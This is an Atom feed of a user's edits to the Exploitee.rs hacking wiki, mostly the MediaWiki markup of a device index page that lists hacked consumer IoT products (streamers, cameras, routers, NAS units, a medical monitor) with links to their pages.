<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.exploitee.rs/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Rjmendez</id>
	<title>Exploitee.rs - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.exploitee.rs/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Rjmendez"/>
	<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Special:Contributions/Rjmendez"/>
	<updated>2026-05-07T08:05:19Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.0-alpha</generator>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=File:Collar_protocol_packet.PNG&amp;diff=2978</id>
		<title>File:Collar protocol packet.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=File:Collar_protocol_packet.PNG&amp;diff=2978"/>
		<updated>2018-08-21T03:28:50Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez uploaded a new version of &amp;amp;quot;File:Collar protocol packet.PNG&amp;amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Main_Page/Devices&amp;diff=2938</id>
		<title>Main Page/Devices</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Main_Page/Devices&amp;diff=2938"/>
		<updated>2017-12-12T17:45:48Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;border: 0px solid #000000; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;INTERNET OF THINGS&#039;&#039;&#039;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;BLU-RAY PLAYERS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Sony-bdp-s5100-multi-region-blu-ray-dvd-player.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Sony BDP-S5100&#039;&#039;&#039;&lt;br /&gt;
*[[Sony BDP-S5100]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:LG_BP350.JPG|130px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;LG Blu-Ray&#039;&#039;&#039;&lt;br /&gt;
*[[LG BP350​​]]&lt;br /&gt;
*[[LG BP530​​]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Panasonic-DMP-BDT230.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Panasonic Blu-Ray&#039;&#039;&#039;&lt;br /&gt;
*[[DMP-BDT230​​]]&lt;br /&gt;
*[[DMP-BD871]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;CAMERAS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Alarm.com_ADC-v520IR.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Alarm.com v520IR&#039;&#039;&#039;&lt;br /&gt;
*[[Alarm.com ADC-v520IR​​]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:DLINK_936L.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;DLink 936L&#039;&#039;&#039;&lt;br /&gt;
*[[DLink 936L]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Cloudipcam_store.png|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;LeFun Cloud IPCam&#039;&#039;&#039;&lt;br /&gt;
*[[LeFun Cloud IPCam]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Ring-doorbell.jpg|35px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Ring Doorbell​&#039;&#039;&#039;&lt;br /&gt;
*[[Ring Doorbell]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Samsung-SDR3102N.jpg|75px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Samsung SDR-3102N&#039;&#039;&#039;&lt;br /&gt;
*[[Samsung SDR-3102N]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Samsung-smartcam.jpg|75px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Samsung SmartCam​&#039;&#039;&#039;&lt;br /&gt;
*[[Samsung SmartCam​]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Summer_Baby_Zoom_WiFi.jpg|75px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Summer Baby Zoom WiFi​&#039;&#039;&#039;&lt;br /&gt;
*[[Summer Baby Zoom WiFi​​]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Zmodo greet.JPG|35px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Zmodo Greet​&#039;&#039;&#039;&lt;br /&gt;
*[[Zmodo Greet]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;HOME AUTOMATION&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:BelkinWemo.png|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Belkin Wemo​&#039;&#039;&#039;&lt;br /&gt;
*[[Belkin Wemo​]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:GreenwaveRealityTCPConnectedHub.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Greenwave Reality Bulbs&#039;&#039;&#039;&lt;br /&gt;
*[[Greenwave Reality Bulbs]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Lutron LBDG2WH Caseta Smart Home Stock.jpg|60px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Lutron L-BDG2-WH Caseta Smart Bridge &#039;&#039;&#039;&lt;br /&gt;
*[[Lutron L-BDG2-WH Caseta Smart Bridge]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Staples_Connect_Hub.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Staples Connect Hub&#039;&#039;&#039;&lt;br /&gt;
*[[Staples Connect Hub​​]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:WinkHub.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Wink Hub&#039;&#039;&#039;&lt;br /&gt;
*[[Wink Hub​​]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;MEDIA PLAYERS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:FireTVStickStockPhoto.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Amazon Fire TV Stick​&#039;&#039;&#039;&lt;br /&gt;
*[[Amazon Fire TV Stick​]]&lt;br /&gt;
|-&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:AmazonFireTV.jpg|100px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Amazon FireTV&#039;&#039;&#039;&lt;br /&gt;
*[[Amazon FireTV]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:VizioCoStarLT.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Vizio CoStar LT (ISV-B11)​&#039;&#039;&#039;&lt;br /&gt;
*[[Vizio CoStar LT (ISV-B11)​]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:NetgearPush2TV.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Netgear Push2TV (PTV3000)​&#039;&#039;&#039;&lt;br /&gt;
*[[Netgear Push2TV (PTV3000)​​]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;INTERNET OF THINGS (Cont)&#039;&#039;&#039;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:NetgearNeoTV.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Netgear NTV200-100NAS​&#039;&#039;&#039;&lt;br /&gt;
*[[Netgear NTV200-100NAS​]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Front-SMALL.jpg|100px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Boxee Box&#039;&#039;&#039;&lt;br /&gt;
*[[Boxee]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Chromecast-stock.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Google Chromecast&#039;&#039;&#039;&lt;br /&gt;
*[[Google Chromecast]] &lt;br /&gt;
*[http://forum.exploitee.rs/google-chromecast-f48 Chromecast forum ]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Roku-pile.jpg|100px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Roku Streaming Players&#039;&#039;&#039;&lt;br /&gt;
*[[Roku]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Allsharecast.jpg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Samsung Allshare Cast&#039;&#039;&#039;&lt;br /&gt;
*[[Samsung Allshare Cast]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Steam_Link_Stock.png|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Steam Link&#039;&#039;&#039;&lt;br /&gt;
*[[Steam Link]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Vudu Spark Stock Photo.jpeg|70px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Vudu Spark&#039;&#039;&#039;&lt;br /&gt;
*[[Vudu Spark]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;MOBILE&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Razr.png|40px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Moto LTE RAZR, BIONIC, &amp;amp; DROID 4&#039;&#039;&#039;&lt;br /&gt;
*[[Moto RAZR, BIONIC, DROID 4]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;MUSIC PLAYERS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:ALURATEK_WIFI_RADIO.JPG|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Aluratek WiFi Radio&#039;&#039;&#039;&lt;br /&gt;
*[[Aluratek WiFi Radio​]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Amazon Tap Stock Photo.jpg|60px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Amazon Tap&#039;&#039;&#039;&lt;br /&gt;
*[[Amazon Tap​]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;NETWORK ATTACHED STORAGE&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:ConnectedDataFileTransporter.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Connected Data Transporter&#039;&#039;&#039;&lt;br /&gt;
*[[Connected Data Transporter​]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Pogoplug-mobile.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;PogoPlug Mobile&#039;&#039;&#039;&lt;br /&gt;
*[[PogoPlug Mobile]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Qnap TS131.jpg|60px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;QNAP TurboStation&#039;&#039;&#039;&lt;br /&gt;
*[[QNAP TS-131]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Wd_stock_photo.jpg|60px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Western Digital MyCloud&#039;&#039;&#039;&lt;br /&gt;
*[[Western Digital MyCloud]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;PRINTERS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:EpsonArtisan700.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Epson Artisan 700/800&#039;&#039;&#039;&lt;br /&gt;
*[[Epson Artisan 700/800]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;REFRIGERATOR&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:LFX31995ST.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;LG Smart Refrigerator (LFX31995ST)​&#039;&#039;&#039;&lt;br /&gt;
*[[LG Smart Refrigerator (LFX31995ST)​]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;TELEVISIONS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:HisenseAndroidTV.jpg|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Hisense Android TV&#039;&#039;&#039;&lt;br /&gt;
*[[Hisense Android TV]] &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Vizio_SmartTV_VF553XVT.png|80px|center]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Vizio Smart TV (VF553XVT)​&#039;&#039;&#039;&lt;br /&gt;
*[[Vizio Smart TV (VF553XVT)​]] &lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:280px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;THERMOSTATS&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Nest.jpg|80px]] &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Google Nest&#039;&#039;&#039;&lt;br /&gt;
*[[Nest]] &lt;br /&gt;
*[http://forum.exploitee.rs/google-nest-f50/ Google Nest Forum ]&lt;br /&gt;
*[[Exploiting Nest Thermostats]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;INTERNET OF THINGS (Cont)&#039;&#039;&#039;&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;|&lt;br /&gt;
{| style=&amp;quot;border: 0px solid #000000; width:300px; cell-padding:0px; cell-spacing:0px;&amp;quot;&lt;br /&gt;
|+ style=&amp;quot;text-align: left; padding-left:15px;&amp;quot;|&#039;&#039;&#039;VOIP&#039;&#039;&#039;&lt;br /&gt;
| style=&amp;quot;border-top: 0px solid #000000;&amp;quot;|[[File:Ooma_Telo.jpg|80px]] &lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Ooma Telo&#039;&#039;&#039;&lt;br /&gt;
*[[Ooma Telo]] &lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Medical&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:Merlin-at-home-1.jpg|75px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;SJM Merlin at Home&#039;&#039;&#039;&lt;br /&gt;
*[[SJM Merlin at Home]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Networking&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:BELKIN_N300.JPG|50px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Belkin N300&#039;&#039;&#039;&lt;br /&gt;
*[[Belkin N300]]&lt;br /&gt;
|-&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:Google_OnHub.jpg|50px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Google (TP-Link)&#039;&#039;&#039;&lt;br /&gt;
*[[Google OnHub (TP-Link)]]&lt;br /&gt;
*[https://forum.exploitee.rs/viewforum.php?f=58 Google OnHub Forum ]&lt;br /&gt;
|-&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:ASUS-Google-OnHub.jpg|75px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Google (ASUS)&#039;&#039;&#039;&lt;br /&gt;
*[[Asus OnHub]]&lt;br /&gt;
*[https://forum.exploitee.rs/viewforum.php?f=58 Google OnHub Forum ]&lt;br /&gt;
|-&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:LINKSYS_WRT1200AC.JPG|75px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Linksys WRT1200AC&#039;&#039;&#039;&lt;br /&gt;
*[[Linksys WRT1200AC]]&lt;br /&gt;
|-&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:NETGEAR_WN3000RP.JPG|50px|center]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
&#039;&#039;&#039;Netgear WN3000RP&#039;&#039;&#039;&lt;br /&gt;
*[[Netgear WN3000RP]]&lt;br /&gt;
|}&lt;br /&gt;
{| style=&amp;quot;border: 1px solid #000000; cell-padding:0px; cell-spacing:0px; width:300px&amp;quot; valign=&amp;quot;top&amp;quot;&lt;br /&gt;
|+&#039;&#039;&#039;Android TV&#039;&#039;&#039;&lt;br /&gt;
|  style=&amp;quot;border-top: 0px solid #000000;&amp;quot;| [[File:Android_TV.jpg|100px]]&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; valign=&amp;quot;top&amp;quot; style=&amp;quot;text-align: left; border-top: 0px solid #000000;&amp;quot;|&lt;br /&gt;
